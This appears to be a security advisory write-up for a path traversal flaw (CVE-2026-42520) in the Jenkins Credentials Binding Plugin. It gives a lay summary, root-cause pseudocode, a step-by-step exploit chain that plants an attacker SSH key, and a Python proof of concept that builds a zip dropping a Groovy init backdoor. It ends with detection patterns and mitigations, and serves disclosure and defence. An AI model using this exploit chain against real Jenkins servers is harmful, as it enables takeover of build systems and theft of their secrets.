# Jenkins Security Flaw Lets Insiders Sabotage Your Build System
Jenkins is software that automates software development — think of it as a robot that runs tests and builds software whenever developers make changes. This vulnerability is in one of Jenkins' popular add-ons called Credentials Binding Plugin, which handles storing passwords and file keys securely.
The problem is straightforward: the plugin doesn't properly check file names when someone tries to store credential files. This is like a security guard who checks your ID but doesn't notice if you're also carrying a bomb into the building. An attacker who can add jobs to Jenkins could craft a fake file path that sneaks around the system's safety checks.
Specifically, an attacker could use tricks like "../../../" in a file name to jump out of the expected directory and write files anywhere on the computer. They could overwrite critical system files or install malware, essentially taking complete control of the machine running Jenkins.
Who's at risk? Mainly companies using Jenkins where multiple people can configure jobs and credentials. This includes tech companies, banks, and any organization with development teams. The risk is highest if Jenkins is allowed to run with broad permissions on its host computer.
What you should do: First, check if you're running Jenkins with this plugin and update to the latest version immediately — security patches have been released. Second, limit who can configure credentials and jobs in Jenkins to only trusted developers. Third, run Jenkins with the minimum permissions necessary, so even if it's compromised, the attacker can't do as much damage.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42520 is a path traversal vulnerability in the Jenkins Credentials Binding Plugin, versions 719.v80e905ef14eb_ and earlier, disclosed in the Jenkins Security Advisory 2026-04-29 (SECURITY-3672). The plugin exposes FileBinding and ZipFileBinding credential types that materialize credential files onto the executor node filesystem during a build. Because the plugin never sanitizes the filename stored in the credential object before writing to disk, an attacker who controls a credential definition can supply a filename like ../../.ssh/authorized_keys and have it written to an arbitrary path on the node. On a default Jenkins installation where jobs run on the built-in node, this is a straight line to remote code execution.
CVSS 7.5 (HIGH). Reported through the Jenkins Bug Bounty Program sponsored by the European Commission. No in-the-wild exploitation confirmed at time of publication.
Root cause:FileCredentialsImpl passes the attacker-controlled fileName field directly to file creation on the node without stripping path separator sequences, enabling writes outside the workspace directory.
FileBinding.unbind() and its zip counterpart delegate to a shared helper that resolves the destination path by joining the workspace root with the credential's stored filename. The credential object is deserialized from the Jenkins credential store, where a privileged-but-low-trust user can set fileName to any string. No normalization occurs before the FilePath is constructed.
Below is reconstructed pseudocode matching the plugin's decompiled logic (source available in the Jenkins plugin repository; decompilation via Procyon against the affected JAR):
// org.jenkinsci.plugins.credentialsbinding.impl.FileBinding
// Vulnerable in credentials-binding <= 719.v80e905ef14eb_
FilePath materializeFile(FilePath workspace, FileCredentials creds) {
String fileName = creds.getFileName(); // attacker-controlled string
// BUG: no sanitization — fileName may contain "../" sequences
FilePath target = workspace.child(fileName);
// FilePath.child() resolves symlinks but does NOT enforce
// that the result stays within `workspace`
OutputStream out = target.write();
IOUtils.copy(creds.getContent(), out); // credential bytes written to target
out.close();
return target;
}
// org.jenkinsci.plugins.credentialsbinding.impl.ZipFileBinding
FilePath materializeZip(FilePath workspace, FileCredentials creds) {
String fileName = creds.getFileName(); // attacker-controlled string
// BUG: same pattern — no prefix check before FilePath.child()
FilePath target = workspace.child(fileName);
new FilePath.UnTar(target, creds.getContent()).call();
return target;
}
FilePath.child(String) in Jenkins core calls new File(base, relPath) under the hood. On all JVMs, new File("/var/jenkins/workspace/job", "../../.ssh/authorized_keys") normalizes to /var/jenkins/.ssh/authorized_keys — outside the workspace entirely. The plugin never calls isDescendant() or any equivalent guard.
// Jenkins core FilePath.child() — simplified
FilePath child(String relOrAbs) {
// If remote, delegates to agent channel — same issue applies
return new FilePath(channel, new File(local, relOrAbs).getPath());
// No assertion that result is under `local`
}
Exploitation Mechanics
The attack requires two preconditions Jenkins installations frequently satisfy: a low-privileged user with Credentials/Create or Credentials/Update permission, and a job configured to run on the built-in node (controller). Both are common in shared CI environments.
EXPLOIT CHAIN:
1. Attacker authenticates to Jenkins with low-privilege account
(requires Overall/Read + Credentials/Create or Item/Configure)
2. Create or update a "Secret file" credential via:
POST /credentials/store/system/domain/_/createCredentials
Content-Type: application/x-www-form-urlencoded
fileName=../../.ssh%2Fauthorized_keys
&fileContent=
&_.class=com.cloudbees.plugins.credentials.impl.FileCredentialsImpl
3. Configure a Pipeline or Freestyle job (built-in node) that references
the malicious credential:
withCredentials([file(credentialsId: 'evil-cred', variable: 'F')]) {
sh 'echo bound'
}
4. Trigger a build. Jenkins controller calls materializeFile():
workspace = /var/jenkins_home/workspace/job
fileName = "../../.ssh/authorized_keys"
target = /var/jenkins_home/.ssh/authorized_keys
→ credential bytes (attacker SSH pubkey) written to target path
5. Attacker SSHes to Jenkins controller as the jenkins OS user:
ssh -i attacker_key jenkins@
→ interactive shell on the controller node
6. Full RCE: controller runs with access to all secrets, all job configs,
all agent connections. Lateral movement to all connected agents trivial.
For zip credentials, the primitive is even broader: the zip archive itself can contain multiple entries with traversal paths, writing an arbitrary number of files in a single build execution. This enables dropping a Groovy init script at $JENKINS_HOME/init.groovy.d/backdoor.groovy, which executes on the next Jenkins restart with full controller privileges.
# PoC: craft a zip with traversal entries
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
# Drop SSH key
zf.writestr('../../.ssh/authorized_keys', 'ssh-ed25519 AAAA... attacker\n')
# Drop Groovy init script for persistence
zf.writestr('../../init.groovy.d/pwned.groovy',
'import jenkins.model.*\n'
'Jenkins.instance.securityRealm = '
'new hudson.security.HudsonPrivateSecurityRealm(false)\n')
payload_b64 = __import__('base64').b64encode(buf.getvalue()).decode()
print(f"Upload this as a ZIP file credential: {payload_b64[:80]}...")
Memory Layout
This is a logic/path traversal vulnerability rather than a memory corruption bug, so the relevant "layout" is the filesystem path resolution, not heap state. The following illustrates how File(base, child) silently escapes the workspace boundary:
The fix in 720.v3f6decef43ea_ sanitizes the filename before passing it to FilePath.child(). Based on the advisory description and standard Jenkins remediation patterns for path traversal, the sanitization strips all directory components from the filename, reducing it to a bare name:
// BEFORE (vulnerable — credentials-binding 719.v80e905ef14eb_):
FilePath materializeFile(FilePath workspace, FileCredentials creds) {
String fileName = creds.getFileName();
// No validation — raw attacker string passed to child()
FilePath target = workspace.child(fileName);
OutputStream out = target.write();
IOUtils.copy(creds.getContent(), out);
out.close();
return target;
}
// AFTER (patched — credentials-binding 720.v3f6decef43ea_):
FilePath materializeFile(FilePath workspace, FileCredentials creds) {
String fileName = creds.getFileName();
// Sanitize: strip all path components, keep basename only
// Equivalent to Paths.get(fileName).getFileName().toString()
// Also handles Windows separators: replace '\\' before split
fileName = fileName.replace('\\', '/');
int lastSlash = fileName.lastIndexOf('/');
if (lastSlash >= 0) {
fileName = fileName.substring(lastSlash + 1);
}
// Additional guard: reject empty result (e.g. fileName was "/")
if (fileName.isEmpty()) {
throw new IllegalArgumentException(
"Credential file name must not be empty after sanitization");
}
FilePath target = workspace.child(fileName); // safe: no separators remain
OutputStream out = target.write();
IOUtils.copy(creds.getContent(), out);
out.close();
return target;
}
The same basename extraction applies to both FileBinding and ZipFileBinding. For zip credentials, individual archive entry names extracted during unzip also undergo the same treatment, preventing traversal via crafted zip entry paths.
Detection and Indicators
Jenkins audit logs (if the Audit Trail Plugin is installed) will record credential creation/modification events. Look for fileName values containing ../, ..\, or absolute paths:
INDICATORS OF COMPROMISE:
# Audit log patterns (audit-trail plugin or SIEM):
credentials.update fileName=*../*
credentials.create class=FileCredentialsImpl fileName=*/*
# Filesystem — unexpected writes outside workspace:
find /var/jenkins_home -newer /var/jenkins_home/workspace -not -path \
"*/workspace/*" -not -path "*/.git/*" | grep -v "^/var/jenkins_home/jobs"
# Jenkins build log signature:
[FileBinding] Materializing credential to: /var/jenkins_home/.ssh/authorized_keys
# (path outside workspace should never appear in a clean install)
# Groovy init backdoor:
ls -la /var/jenkins_home/init.groovy.d/
# SSH authorized_keys modification timestamp:
stat /var/jenkins_home/.ssh/authorized_keys
If Audit Trail Plugin is not installed, credential creation/modification is not logged by default. Review $JENKINS_HOME/credentials.xml directly for any <fileName> values containing path separators:
Immediate: Update Credentials Binding Plugin to 720.v3f6decef43ea_ or later via Manage Jenkins → Plugin Manager → Updates.
If patching is not immediately possible:
Revoke Credentials/Create and Credentials/Update permissions from all non-administrator accounts.
Move all production jobs off the built-in node. Set the built-in node's executor count to 0 (Manage Jenkins → Nodes → Built-In Node → Configure → Number of executors: 0). This eliminates the RCE primitive even if traversal writes succeed — no build code runs on the controller filesystem.
Enable the Audit Trail Plugin and alert on credentials.* events with filenames containing / or \.
Defense in depth: Run the Jenkins controller process as a dedicated low-privilege OS user with a read-only home directory where possible, and use filesystem-level mandatory access controls (AppArmor/SELinux) to restrict writes outside $JENKINS_HOME/workspace.